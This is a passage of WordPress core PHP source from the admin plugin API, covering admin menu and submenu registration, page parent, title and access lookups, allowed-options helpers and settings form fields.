			sprintf(
				/* translators: %s: add_menu_page() */
				__( 'The seventh parameter passed to %s should be numeric representing menu position.' ),
				'<code>add_menu_page()</code>'
			),
			'6.0.0'
		);
		$position = null;
	}

	if ( null === $position || ! is_numeric( $position ) ) {
		$menu[] = $new_menu;
	} elseif ( isset( $menu[ (string) $position ] ) ) {
		$collision_avoider = base_convert( substr( md5( $menu_slug . $menu_title ), -4 ), 16, 10 ) * 0.00001;
		$position          = (string) ( $position + $collision_avoider );
		$menu[ $position ] = $new_menu;
	} else {
		/*
		 * Cast menu position to a string.
		 *
		 * This allows for floats to be passed as the position. PHP will normally cast a float to an
		 * integer value, this ensures the float retains its mantissa (positive fractional part).
		 *
		 * A string containing an integer value, eg "10", is treated as a numeric index.
		 */
		$position          = (string) $position;
		$menu[ $position ] = $new_menu;
	}

	$_registered_pages[ $hookname ] = true;

	// No parent as top level.
	$_parent_pages[ $menu_slug ] = false;

	return $hookname;
}

/**
 * Adds a submenu page.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 1.5.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @global array $submenu
 * @global array $menu
 * @global array $_wp_real_parent_file
 * @global bool  $_wp_submenu_nopriv
 * @global array $_registered_pages
 * @global array $_parent_pages
 *
 * @param string    $parent_slug The slug name for the parent menu (or the file name of a standard
 *                               WordPress admin page).
 * @param string    $page_title  The text to be displayed in the title tags of the page when the menu
 *                               is selected.
 * @param string    $menu_title  The text to be used for the menu.
 * @param string    $capability  The capability required for this menu to be displayed to the user.
 * @param string    $menu_slug   The slug name to refer to this menu by. Should be unique for this menu
 *                               and only include lowercase alphanumeric, dashes, and underscores characters
 *                               to be compatible with sanitize_key().
 * @param callable  $callback    Optional. The function to be called to output the content for this page.
 * @param int|float $position    Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_submenu_page( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	global $submenu, $menu, $_wp_real_parent_file, $_wp_submenu_nopriv,
		$_registered_pages, $_parent_pages;

	$menu_slug   = plugin_basename( $menu_slug );
	$parent_slug = plugin_basename( $parent_slug );

	if ( isset( $_wp_real_parent_file[ $parent_slug ] ) ) {
		$parent_slug = $_wp_real_parent_file[ $parent_slug ];
	}

	if ( ! current_user_can( $capability ) ) {
		$_wp_submenu_nopriv[ $parent_slug ][ $menu_slug ] = true;
		return false;
	}

	/*
	 * If the parent doesn't already have a submenu, add a link to the parent
	 * as the first item in the submenu. If the submenu file is the same as the
	 * parent file someone is trying to link back to the parent manually. In
	 * this case, don't automatically add a link back to avoid duplication.
	 */
	if ( ! isset( $submenu[ $parent_slug ] ) && $menu_slug !== $parent_slug ) {
		foreach ( (array) $menu as $parent_menu ) {
			if ( $parent_menu[2] === $parent_slug && current_user_can( $parent_menu[1] ) ) {
				$submenu[ $parent_slug ][] = array_slice( $parent_menu, 0, 4 );
			}
		}
	}

	$new_sub_menu = array( $menu_title, $capability, $menu_slug, $page_title );

	if ( null !== $position && ! is_numeric( $position ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: add_submenu_page() */
				__( 'The seventh parameter passed to %s should be numeric representing menu position.' ),
				'<code>add_submenu_page()</code>'
			),
			'5.3.0'
		);
		$position = null;
	}

	if (
		null === $position ||
		( ! isset( $submenu[ $parent_slug ] ) || $position >= count( $submenu[ $parent_slug ] ) )
	) {
		$submenu[ $parent_slug ][] = $new_sub_menu;
	} else {
		// Test for a negative position.
		$position = max( $position, 0 );
		if ( 0 === $position ) {
			// For negative or `0` positions, prepend the submenu.
			array_unshift( $submenu[ $parent_slug ], $new_sub_menu );
		} else {
			$position = absint( $position );
			// Grab all of the items before the insertion point.
			$before_items = array_slice( $submenu[ $parent_slug ], 0, $position, true );
			// Grab all of the items after the insertion point.
			$after_items = array_slice( $submenu[ $parent_slug ], $position, null, true );
			// Add the new item.
			$before_items[] = $new_sub_menu;
			// Merge the items.
			$submenu[ $parent_slug ] = array_merge( $before_items, $after_items );
		}
	}

	// Sort the parent array.
	ksort( $submenu[ $parent_slug ] );

	$hookname = get_plugin_page_hookname( $menu_slug, $parent_slug );
	if ( ! empty( $callback ) && ! empty( $hookname ) ) {
		add_action( $hookname, $callback );
	}

	$_registered_pages[ $hookname ] = true;

	/*
	 * Backward-compatibility for plugins using add_management_page().
	 * See wp-admin/admin.php for redirect from edit.php to tools.php.
	 */
	if ( 'tools.php' === $parent_slug ) {
		$_registered_pages[ get_plugin_page_hookname( $menu_slug, 'edit.php' ) ] = true;
	}

	// No parent as top level.
	$_parent_pages[ $menu_slug ] = $parent_slug;

	return $hookname;
}

/**
 * Adds a submenu page to the Tools main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 1.5.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_management_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'tools.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Settings main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 1.5.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_options_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'options-general.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Appearance main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.0.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_theme_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'themes.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Plugins main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 3.0.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_plugins_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'plugins.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Users/Profile main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.1.3
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_users_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	if ( current_user_can( 'edit_users' ) ) {
		$parent = 'users.php';
	} else {
		$parent = 'profile.php';
	}
	return add_submenu_page( $parent, $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Dashboard main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_dashboard_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'index.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Posts main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_posts_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'edit.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Media main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_media_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'upload.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Links main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_links_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'link-manager.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Pages main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_pages_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'edit.php?post_type=page', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Comments main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_comments_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'edit-comments.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Removes a top-level admin menu.
 *
 * Example usage:
 *
 *  - `remove_menu_page( 'tools.php' )`
 *  - `remove_menu_page( 'plugin_menu_slug' )`
 *
 * @since 3.1.0
 *
 * @global array $menu
 *
 * @param string $menu_slug The slug of the menu.
 * @return array|false The removed menu on success, false if not found.
 */
function remove_menu_page( $menu_slug ) {
	global $menu;

	foreach ( $menu as $i => $item ) {
		if ( $menu_slug === $item[2] ) {
			unset( $menu[ $i ] );
			return $item;
		}
	}

	return false;
}

/**
 * Removes an admin submenu.
 *
 * Example usage:
 *
 *  - `remove_submenu_page( 'themes.php', 'nav-menus.php' )`
 *  - `remove_submenu_page( 'tools.php', 'plugin_submenu_slug' )`
 *  - `remove_submenu_page( 'plugin_menu_slug', 'plugin_submenu_slug' )`
 *
 * @since 3.1.0
 *
 * @global array $submenu
 *
 * @param string $menu_slug    The slug for the parent menu.
 * @param string $submenu_slug The slug of the submenu.
 * @return array|false The removed submenu on success, false if not found.
 */
function remove_submenu_page( $menu_slug, $submenu_slug ) {
	global $submenu;

	if ( ! isset( $submenu[ $menu_slug ] ) ) {
		return false;
	}

	foreach ( $submenu[ $menu_slug ] as $i => $item ) {
		if ( $submenu_slug === $item[2] ) {
			unset( $submenu[ $menu_slug ][ $i ] );
			return $item;
		}
	}

	return false;
}

/**
 * Gets the URL to access a particular menu page based on the slug it was registered with.
 *
 * If the slug hasn't been registered properly, no URL will be returned.
 *
 * @since 3.0.0
 *
 * @global array $_parent_pages
 *
 * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
 * @param bool   $display   Optional. Whether or not to display the URL. Default true.
 * @return string The menu page URL.
 */
function menu_page_url( $menu_slug, $display = true ) {
	global $_parent_pages;

	if ( isset( $_parent_pages[ $menu_slug ] ) ) {
		$parent_slug = $_parent_pages[ $menu_slug ];

		if ( $parent_slug && ! isset( $_parent_pages[ $parent_slug ] ) ) {
			$url = admin_url( add_query_arg( 'page', $menu_slug, $parent_slug ) );
		} else {
			$url = admin_url( 'admin.php?page=' . $menu_slug );
		}
	} else {
		$url = '';
	}

	$url = esc_url( $url );

	if ( $display ) {
		echo $url;
	}

	return $url;
}

//
// Pluggable Menu Support -- Private.
//
/**
 * Gets the parent file of the current admin page.
 *
 * @since 1.5.0
 *
 * @global string $parent_file
 * @global array  $menu
 * @global array  $submenu
 * @global string $pagenow              The filename of the current screen.
 * @global string $typenow              The post type of the current screen.
 * @global string $plugin_page
 * @global array  $_wp_real_parent_file
 * @global array  $_wp_menu_nopriv
 * @global array  $_wp_submenu_nopriv
 *
 * @param string $parent_page Optional. The slug name for the parent menu (or the file name
 *                            of a standard WordPress admin page). Default empty string.
 * @return string The parent file of the current admin page.
 */
function get_admin_page_parent( $parent_page = '' ) {
	global $parent_file, $menu, $submenu, $pagenow, $typenow,
		$plugin_page, $_wp_real_parent_file, $_wp_menu_nopriv, $_wp_submenu_nopriv;

	if ( ! empty( $parent_page ) && 'admin.php' !== $parent_page ) {
		if ( isset( $_wp_real_parent_file[ $parent_page ] ) ) {
			$parent_page = $_wp_real_parent_file[ $parent_page ];
		}

		return $parent_page;
	}

	if ( 'admin.php' === $pagenow && isset( $plugin_page ) ) {
		foreach ( (array) $menu as $parent_menu ) {
			if ( $parent_menu[2] === $plugin_page ) {
				$parent_file = $plugin_page;

				if ( isset( $_wp_real_parent_file[ $parent_file ] ) ) {
					$parent_file = $_wp_real_parent_file[ $parent_file ];
				}

				return $parent_file;
			}
		}
		if ( isset( $_wp_menu_nopriv[ $plugin_page ] ) ) {
			$parent_file = $plugin_page;

			if ( isset( $_wp_real_parent_file[ $parent_file ] ) ) {
					$parent_file = $_wp_real_parent_file[ $parent_file ];
			}

			return $parent_file;
		}
	}

	if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $pagenow ][ $plugin_page ] ) ) {
		$parent_file = $pagenow;

		if ( isset( $_wp_real_parent_file[ $parent_file ] ) ) {
			$parent_file = $_wp_real_parent_file[ $parent_file ];
		}

		return $parent_file;
	}

	foreach ( array_keys( (array) $submenu ) as $parent_page ) {
		foreach ( $submenu[ $parent_page ] as $submenu_array ) {
			if ( isset( $_wp_real_parent_file[ $parent_page ] ) ) {
				$parent_page = $_wp_real_parent_file[ $parent_page ];
			}

			if ( ! empty( $typenow ) && "$pagenow?post_type=$typenow" === $submenu_array[2] ) {
				$parent_file = $parent_page;
				return $parent_page;
			} elseif ( empty( $typenow ) && $pagenow === $submenu_array[2]
				&& ( empty( $parent_file ) || ! str_contains( $parent_file, '?' ) )
			) {
				$parent_file = $parent_page;
				return $parent_page;
			} elseif ( isset( $plugin_page ) && $plugin_page === $submenu_array[2] ) {
				$parent_file = $parent_page;
				return $parent_page;
			}
		}
	}

	if ( empty( $parent_file ) ) {
		$parent_file = '';
	}
	return '';
}

/**
 * Gets the title of the current admin page.
 *
 * @since 1.5.0
 *
 * @global string $title
 * @global array  $menu
 * @global array  $submenu
 * @global string $pagenow     The filename of the current screen.
 * @global string $typenow     The post type of the current screen.
 * @global string $plugin_page
 *
 * @return string The title of the current admin page.
 */
function get_admin_page_title() {
	global $title, $menu, $submenu, $pagenow, $typenow, $plugin_page;

	if ( ! empty( $title ) ) {
		return $title;
	}

	$hook = get_plugin_page_hook( $plugin_page, $pagenow );

	$parent  = get_admin_page_parent();
	$parent1 = $parent;

	if ( empty( $parent ) ) {
		foreach ( (array) $menu as $menu_array ) {
			if ( isset( $menu_array[3] ) ) {
				if ( $menu_array[2] === $pagenow ) {
					$title = $menu_array[3];
					return $menu_array[3];
				} elseif ( isset( $plugin_page ) && $plugin_page === $menu_array[2] && $hook === $menu_array[5] ) {
					$title = $menu_array[3];
					return $menu_array[3];
				}
			} else {
				$title = $menu_array[0];
				return $title;
			}
		}
	} else {
		foreach ( array_keys( $submenu ) as $parent ) {
			foreach ( $submenu[ $parent ] as $submenu_array ) {
				if ( isset( $plugin_page )
					&& $plugin_page === $submenu_array[2]
					&& ( $pagenow === $parent
						|| $plugin_page === $parent
						|| $plugin_page === $hook
						|| 'admin.php' === $pagenow && $parent1 !== $submenu_array[2]
						|| ! empty( $typenow ) && "$pagenow?post_type=$typenow" === $parent )
					) {
						$title = $submenu_array[3];
						return $submenu_array[3];
				}

				if ( $submenu_array[2] !== $pagenow || isset( $_GET['page'] ) ) { // Not the current page.
					continue;
				}

				if ( isset( $submenu_array[3] ) ) {
					$title = $submenu_array[3];
					return $submenu_array[3];
				} else {
					$title = $submenu_array[0];
					return $title;
				}
			}
		}
		if ( empty( $title ) ) {
			foreach ( $menu as $menu_array ) {
				if ( isset( $plugin_page )
					&& $plugin_page === $menu_array[2]
					&& 'admin.php' === $pagenow
					&& $parent1 === $menu_array[2]
				) {
						$title = $menu_array[3];
						return $menu_array[3];
				}
			}
		}
	}

	return $title;
}

/**
 * Gets the hook attached to the administrative page of a plugin.
 *
 * @since 1.5.0
 *
 * @param string $plugin_page The slug name of the plugin page.
 * @param string $parent_page The slug name for the parent menu (or the file name of a standard
 *                            WordPress admin page).
 * @return string|null Hook attached to the plugin page, null otherwise.
 */
function get_plugin_page_hook( $plugin_page, $parent_page ) {
	$hook = get_plugin_page_hookname( $plugin_page, $parent_page );
	if ( has_action( $hook ) ) {
		return $hook;
	} else {
		return null;
	}
}

/**
 * Gets the hook name for the administrative page of a plugin.
 *
 * @since 1.5.0
 *
 * @global array $admin_page_hooks
 *
 * @param string $plugin_page The slug name of the plugin page.
 * @param string $parent_page The slug name for the parent menu (or the file name of a standard
 *                            WordPress admin page).
 * @return string Hook name for the plugin page.
 */
function get_plugin_page_hookname( $plugin_page, $parent_page ) {
	global $admin_page_hooks;

	$parent = get_admin_page_parent( $parent_page );

	$page_type = 'admin';
	if ( empty( $parent_page ) || 'admin.php' === $parent_page || isset( $admin_page_hooks[ $plugin_page ] ) ) {
		if ( isset( $admin_page_hooks[ $plugin_page ] ) ) {
			$page_type = 'toplevel';
		} elseif ( isset( $admin_page_hooks[ $parent ] ) ) {
			$page_type = $admin_page_hooks[ $parent ];
		}
	} elseif ( isset( $admin_page_hooks[ $parent ] ) ) {
		$page_type = $admin_page_hooks[ $parent ];
	}

	$plugin_name = preg_replace( '!\.php!', '', $plugin_page );

	return $page_type . '_page_' . $plugin_name;
}

/**
 * Determines whether the current user can access the current admin page.
 *
 * @since 1.5.0
 *
 * @global string $pagenow            The filename of the current screen.
 * @global array  $menu
 * @global array  $submenu
 * @global array  $_wp_menu_nopriv
 * @global array  $_wp_submenu_nopriv
 * @global string $plugin_page
 * @global array  $_registered_pages
 *
 * @return bool True if the current user can access the admin page, false otherwise.
 */
function user_can_access_admin_page() {
	global $pagenow, $menu, $submenu, $_wp_menu_nopriv, $_wp_submenu_nopriv,
		$plugin_page, $_registered_pages;

	$parent = get_admin_page_parent();

	if ( ! isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $parent ][ $pagenow ] ) ) {
		return false;
	}

	if ( isset( $plugin_page ) ) {
		if ( isset( $_wp_submenu_nopriv[ $parent ][ $plugin_page ] ) ) {
			return false;
		}

		$hookname = get_plugin_page_hookname( $plugin_page, $parent );

		if ( ! isset( $_registered_pages[ $hookname ] ) ) {
			return false;
		}
	}

	if ( empty( $parent ) ) {
		if ( isset( $_wp_menu_nopriv[ $pagenow ] ) ) {
			return false;
		}
		if ( isset( $_wp_submenu_nopriv[ $pagenow ][ $pagenow ] ) ) {
			return false;
		}
		if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $pagenow ][ $plugin_page ] ) ) {
			return false;
		}
		if ( isset( $plugin_page ) && isset( $_wp_menu_nopriv[ $plugin_page ] ) ) {
			return false;
		}

		foreach ( array_keys( $_wp_submenu_nopriv ) as $key ) {
			if ( isset( $_wp_submenu_nopriv[ $key ][ $pagenow ] ) ) {
				return false;
			}
			if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $key ][ $plugin_page ] ) ) {
				return false;
			}
		}

		return true;
	}

	if ( isset( $plugin_page ) && $plugin_page === $parent && isset( $_wp_menu_nopriv[ $plugin_page ] ) ) {
		return false;
	}

	if ( isset( $submenu[ $parent ] ) ) {
		foreach ( $submenu[ $parent ] as $submenu_array ) {
			if ( isset( $plugin_page ) && $submenu_array[2] === $plugin_page ) {
				return current_user_can( $submenu_array[1] );
			} elseif ( $submenu_array[2] === $pagenow ) {
				return current_user_can( $submenu_array[1] );
			}
		}
	}

	foreach ( $menu as $menu_array ) {
		if ( $menu_array[2] === $parent ) {
			return current_user_can( $menu_array[1] );
		}
	}

	return true;
}

/* Allowed list functions */

/**
 * Refreshes the value of the allowed options list available via the 'allowed_options' hook.
 *
 * See the {@see 'allowed_options'} filter.
 *
 * @since 2.7.0
 * @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`.
 *              Please consider writing more inclusive code.
 *
 * @global array $new_allowed_options
 *
 * @param array $options
 * @return array
 */
function option_update_filter( $options ) {
	global $new_allowed_options;

	if ( is_array( $new_allowed_options ) ) {
		$options = add_allowed_options( $new_allowed_options, $options );
	}

	return $options;
}

/**
 * Adds an array of options to the list of allowed options.
 *
 * @since 5.5.0
 *
 * @global array $allowed_options
 *
 * @param array        $new_options
 * @param string|array $options
 * @return array
 */
function add_allowed_options( $new_options, $options = '' ) {
	if ( '' === $options ) {
		global $allowed_options;
	} else {
		$allowed_options = $options;
	}

	foreach ( $new_options as $page => $keys ) {
		foreach ( $keys as $key ) {
			if ( ! isset( $allowed_options[ $page ] ) || ! is_array( $allowed_options[ $page ] ) ) {
				$allowed_options[ $page ]   = array();
				$allowed_options[ $page ][] = $key;
			} else {
				$pos = array_search( $key, $allowed_options[ $page ], true );
				if ( false === $pos ) {
					$allowed_options[ $page ][] = $key;
				}
			}
		}
	}

	return $allowed_options;
}

/**
 * Removes a list of options from the allowed options list.
 *
 * @since 5.5.0
 *
 * @global array $allowed_options
 *
 * @param array        $del_options
 * @param string|array $options
 * @return array
 */
function remove_allowed_options( $del_options, $options = '' ) {
	if ( '' === $options ) {
		global $allowed_options;
	} else {
		$allowed_options = $options;
	}

	foreach ( $del_options as $page => $keys ) {
		foreach ( $keys as $key ) {
			if ( isset( $allowed_options[ $page ] ) && is_array( $allowed_options[ $page ] ) ) {
				$pos = array_search( $key, $allowed_options[ $page ], true );
				if ( false !== $pos ) {
					unset( $allowed_options[ $page ][ $pos ] );
				}
			}
		}
	}

	return $allowed_options;
}

/**
 * Outputs nonce, action, and option_page fields for a settings page.
 *
 * @since 2.7.0
 *
 * @param string $option_group A settings group name. This should match the group name
 *                             used in register_setting().
 */
function settings_fields( $option_group ) {
	echo "<input type='hidden' name='option_page' value='" . esc_attr( $option_group ) . "' />";
	echo '<input type="hidden" name="action" value="update" />';
	wp_nonce_field( "$option_group-options" );
}

/**
 * Clears the plugins cache used by get_plugins() and by default, the plugin updates cache.
 *
 * @since 3.7.0
 *
 * @param bool $clear_update_cache Whether to clear the plugin updates cache. Default true.
 */
function wp_clean_plugins_cache( $clear_update_cache = true ) {
	if ( $clear_update_cache ) {
		delete_site_transient( 'update_plugins' );
	}
	wp_cache_delete( 'plugins', 'plugins' );
}

/**
 * Loads a given plugin attempt to generate errors.
 *
 * @since 3.0.0
 * @since 4.4.0 Function was moved into the `wp-admin/includes/plugin.php` file.
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 */
function plugin_sandbox_scrape( $plugin ) {
	if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) {
		define( 'WP_SANDBOX_SCRAPING', true );
	}

	wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
	include_once WP_PLUGIN_DIR . '/' . $plugin;
}

/**
 * Declares a helper function for adding content to the Privacy Policy Guide.
 *
 * Plugins and themes should suggest text for inclusion in the site's privacy policy.
 * The suggested text should contain information about any functionality that affects user privacy,
 * and will be shown on the Privacy Policy Guide screen.
 *
 * A plugin or theme can use this function multiple times as long as it will help to better present
 * the suggested policy content. For example modular plugins such as WooCommerse or Jetpack
 * can add or remove suggested content depending on the modules/extensions that are enabled.
 * For more information see the Plugin Handbook:
 * https://developer.wordpress.org/plugins/privacy/suggesting-text-for-the-site-privacy-policy/.
 *
 * The HTML contents of the `$policy_text` supports use of a specialized `.privacy-policy-tutorial`
 * CSS class which can be used to provide supplemental information. Any content contained within
 * HTML elements that have the `.privacy-policy-tutorial` CSS class applied will be omitted
 * from the clipboard when the section content is copied.
 *
 * Intended for use with the `'admin_init'` action.
 *
 * @since 4.9.6
 *
 * @param string $plugin_name The name of the plugin or theme that is suggesting content
 *                            for the site's privacy policy.
 * @param string $policy_text The suggested content for inclusion in the policy.
 */
function wp_add_privacy_policy_content( $plugin_name, $policy_text ) {
	if ( ! is_admin() ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: admin_init */
				__( 'The suggested privacy policy content should be added only in wp-admin by using the %s (or later) action.' ),
				'<code>admin_init</code>'
			),
			'4.9.7'
		);
		return;
	} elseif ( ! doing_action( 'admin_init' ) && ! did_action( 'admin_init' ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: admin_init */
